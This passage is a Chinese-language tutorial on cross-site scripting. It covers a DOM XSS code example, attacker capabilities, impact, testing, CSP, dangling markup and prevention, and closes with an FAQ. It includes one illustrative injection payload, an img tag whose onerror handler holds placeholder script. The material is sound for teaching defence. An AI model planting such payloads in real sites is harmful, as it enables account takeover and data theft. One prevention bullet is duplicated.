在下面的示例中,应用程序使用 JavaScript 从输入字段读取值,并将该值写入 HTML 中的一个元素:

1
2
3
var search = document.getElementById('search').value;
var results = document.getElementById('results');
results.innerHTML = 'You searched for: ' + search;

如果攻击者可以控制输入字段的值,他们就可以轻松构建一个恶意值,从而执行自己的脚本:

1
You searched for: <img src=1 onerror='/* Bad stuff here... */'>

在典型的情况下,输入字段将由 HTTP 请求的一部分填充,如 URL 查询字符串参数,从而允许攻击者使用恶意 URL 进行攻击,其方式与反射 XSS 相同。

XSS 可以用来做什么?

利用跨站脚本漏洞的攻击者通常能够:

  • 冒充或伪装成受害用户。

  • 执行用户能够执行的任何操作。

  • 读取用户能够访问的任何数据。

  • 获取用户的登录凭证。

  • 对网站进行虚拟篡改。

  • 在网站中注入木马功能。

XSS 漏洞的影响

XSS 攻击的实际影响通常取决于应用程序的性质、功能和数据,以及被攻击用户的状态。例如:

  • 在小册子软件应用程序中,所有用户都是匿名的,所有信息都是公开的,因此影响通常很小。

  • 在持有敏感数据(如银行交易、电子邮件或医疗记录)的应用程序中,影响通常会很严重。

  • 如果被入侵的用户在应用程序中拥有更高的权限,那么影响通常会非常严重,攻击者可以完全控制存在漏洞的应用程序,并入侵所有用户及其数据。

如何查找和测试 XSS 漏洞

绝大多数 XSS 漏洞都可以通过 Burp Suite 的网络漏洞扫描仪快速、可靠地发现。

手动测试反射和存储的 XSS 通常涉及向应用程序中的每个入口点提交一些简单的唯一输入(如一个简短的字母数字字符串),识别在 HTTP 响应中返回所提交输入的每个位置,并对每个位置进行单独测试,以确定适当制作的输入是否可用于执行任意 JavaScript。通过这种方法,您可以确定发生 XSS 的上下文,并选择合适的有效载荷加以利用。

手动测试由 URL 参数引起的基于 DOM 的 XSS 涉及类似的过程:在参数中放置一些简单的唯一输入,使用浏览器的开发工具在 DOM 中搜索该输入,并测试每个位置以确定其是否可被利用。然而,其他类型的 DOM XSS 更难检测。要在非基于 URL 的输入(如 document.cookie)或非基于 HTML 的汇(如 setTimeout)中发现基于 DOM 的漏洞,审查 JavaScript 代码是不可替代的,而审查 JavaScript 代码可能非常耗时。Burp Suite 的网络漏洞扫描器结合了 JavaScript 的静态和动态分析,能够可靠地自动检测基于 DOM 的漏洞。

内容安全政策

内容安全策略(CSP)是一种浏览器机制,旨在减轻跨站脚本和其他一些漏洞的影响。如果采用 CSP 的应用程序包含类似 XSS 的行为,那么 CSP 可能会阻碍或阻止对漏洞的利用。通常情况下,CSP 可被规避,以便利用底层漏洞。

悬挂标记注入

悬垂标记注入是一种技术,可用于在由于输入过滤器或其他防御措施而无法进行全面跨站脚本攻击的情况下跨域捕获数据。这种技术通常可用于捕获其他用户可见的敏感信息,包括可用于代表用户执行未授权操作的 CSRF 标记。

如何防止 XSS 攻击

在某些情况下,防止跨站脚本是一件小事,但根据应用程序的复杂程度和处理用户可控数据的方式,防止跨站脚本可能要难得多。

一般来说,有效防止 XSS 漏洞可能需要结合以下措施:

  • 在输入到达时进行过滤。在接收用户输入时,尽可能严格地根据预期或有效输入进行过滤。

  • 对输出数据进行编码。在 HTTP 响应中输出用户可控数据时,要对输出进行编码,防止其被解释为活动内容。根据输出上下文,这可能需要应用 HTML、URL、JavaScript 和 CSS 编码的组合。

  • 使用适当的响应标头。为防止在不打算包含任何 HTML 或 JavaScript 的 HTTP 响应中出现 XSS,可以使用 Content-TypeX-Content-Type-Options 标头,确保浏览器按您的意图解释响应。

  • 内容安全策略。作为最后一道防线,你可以使用内容安全策略(CSP)来降低仍然存在的任何 XSS 漏洞的严重性。

对输出数据进行编码。在 HTTP 响应中输出用户可控数据时,要对输出进行编码,防止其被解释为活动内容。根据输出上下文,这可能需要应用 HTML、URL、JavaScript 和 CSS 编码的组合。

有关跨站脚本的常见问题

XSS 漏洞有多常见?XSS 漏洞非常常见,XSS 可能是最常出现的网络安全漏洞。

XSS 攻击有多常见?很难获得有关真实世界中 XSS 攻击的可靠数据,但它被利用的频率可能低于其他漏洞。

XSS 和 CSRF 有什么区别?XSS 涉及导致网站返回恶意 JavaScript,而 CSRF 涉及诱使受害用户执行他们无意执行的操作。

XSS 与 SQL 注入有何区别?XSS 是针对其他应用程序用户的客户端漏洞,而 SQL 注入是针对应用程序数据库的服务器端漏洞。

如何在 PHP 中防止 XSS?使用允许字符的白名单过滤输入,并使用类型提示或类型转换。在 HTML 上下文中使用 htmlentitiesENT_QUOTES 对输出进行转义,在 JavaScript 上下文中使用 JavaScript Unicode 转义。

如何在 Java 中防止 XSS?使用允许字符白名单过滤输入,使用 Google Guava 等库对 HTML 上下文的输出进行 HTML 编码,或使用 JavaScript Unicode 转义对 JavaScript 上下文进行转义。

本文参考: